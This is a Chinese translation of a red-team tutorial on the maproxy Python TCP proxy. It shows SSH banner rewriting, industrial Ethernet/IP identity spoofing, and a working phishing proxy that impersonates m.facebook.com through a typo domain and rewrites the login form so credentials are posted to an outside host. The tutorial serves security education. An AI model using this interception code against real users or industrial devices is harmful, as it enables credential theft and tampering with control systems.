即时进行网络数据处理

在Pentest开始之前准备了这篇文章的翻译渗透测试实践





注解


从常规的渗透测试和Red Team操作到入侵IoT / ICS设备和SCADA,各种类型的安全评估都意味着使用二进制网络协议,即实质上是在客户端和目标之间拦截和修改网络数据。嗅探网络流量并不是一件容易的事,因为我们拥有Wireshark,Tcpdump或Scapy之类的工具,但是修改似乎更加耗时,因为我们将需要一个唯一的接口来读取网络数据,对其进行过滤,即时更改并发送回去。几乎实时到目标主机。此外,理想的是,这样的工具可以自动与多个并行连接一起使用,并能够使用脚本进行自定义。

一旦找到了一个名为的工具maproxy,文档便会迅速告知我maproxy-正是我所需要的。这是一个相当简单,通用且易于配置的TCP代理。我在几个相当复杂的应用程序(包括ICS设备(生成许多程序包))上测试了该工具,以了解它是否可以与许多并行连接一起使用,并且该工具运行良好。

本文将向您介绍如何使用即时处理网络数据maproxy

总览


该工具maproxy基于Tornado,Tornado是一种流行且开发良好的异步Python网络框架。

通常,它可以在多种模式下工作:

  • TCP:TCP -未加密的TCP连接;
  • TCP:SSLSSL:TCP-与单向加密;
  • SSL:SSL -双向加密。

它作为一个图书馆来。为了快速入门,您可以使用反映主要功能的示例文件

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

情况1-简单双向代理


基于tcp2tcp.py

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

默认情况下,它ProxyServer()带有两个参数-连接位置和目标端口。server.listen()有一个参数-用于侦听传入连接的端口。

脚本执行:

# python tcp2tcp.py

为了进行测试,我们将通过代理脚本连接到本地SSH服务器,该代理脚本侦听2222/tcp端口并连接到标准22/tcpSSH服务器端口



欢迎标语告知我们示例脚本成功代理了网络流量。

情况2-资料修改


另一个演示脚本logging_proxy.py非常适合与网络数据进行交互。文件中的注释描述了可以修改以实现目标的类方法:



这里最有趣的是:

  • on_c2p_done_read -在从客户端到服务器的途中拦截数据;
  • on_p2s_done_read -倒转。

让我们尝试更改服务器返回给客户端的SSH标语:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

运行脚本:



如您所见,客户端被误导了,因为SSH服务器的名称已更改为«DumnySSH»



案例3-简单的网上诱骗网页


此工具有无数的用途。这次,让我们集中讨论Red Team运营领域中更实际的事情。例如,让我们模仿Landing m.facebook.com并使用自定义域和故意的错字m.facebok.com。出于演示目的,仅假设该域名是我们注册的。

我们将与受害者代理和Facebook服务器的SSL Stream建立未加密的网络连接31.13.81.36。为了使此示例正常工作,我们需要替换HTTP主机标头并实现正确的主机名,并且还将禁用响应压缩以轻松访问其内容。最后,我们将替换HTML表单,以便将登录凭据发送给我们,而不是Facebook服务器:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action=\"/login/", "action=\"https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

最后:



如您所见,我们能够成功替换原始站点。

情况4-以太网/ IP端口


我从事工业设备和软件(ICS / SCADA)的工作已经有一段时间了,例如可编程控制器(PLC),I / O模块,驱动器,继电器,梯形图编程环境等等。这种情况适用于那些喜欢工业用品的人。破解此类解决方案涉及到具有网络协议的活跃游戏。在下面的示例中,我想展示如何修改ICS / SCADA网络流量。

为此,您将需要以下内容:

  • 网络嗅探器,例如Wireshark;
  • 以太网/ IP或只是SIP设备,您可以使用Shodan服务找到它;
  • 我们基于脚本maproxy

首先,让我们看看典型的CIP(通用工业协议)识别响应



是什么样的:设备识别是使用Ethernet / IP完成的,Ethernet / IP是用于工业应用的以太网的扩展版本,它包装了诸如CIP之类的控制协议。我们将使用代理脚本更改突出显示的标识名称,该名称可以在“用于以太网的NI-IndComm”的屏幕截图中看到我们可以重用脚本logging_proxy.py并类似地修改class方法on_p2s_done_read,因为我们希望在客户端上看到不同的标识名。

编码:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'\x0c\x00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

实际上,我们两次要求设备标识,第二个答案是原始答案,第一个答案是即时修改的。

最后


我认为,maproxy这也是一种方便且简单的工具,也是用Python编写的,因此我相信您也可以从其使用中受益。当然,也有用于处理和不断变化的网络数据更复杂的工具,但他们也需要更多的关注,并且通常用于特定用途的情况下创建的,例如,MuraenaModlishkaevilginx相似第三,或案件卡纳佩对于最后一种情况。maproxy由于脚本示例非常清楚,因此在一种或多种方式的帮助下,您可以快速实现拦截网络数据的想法。



在Windows AD中测试身份验证机制



All Articles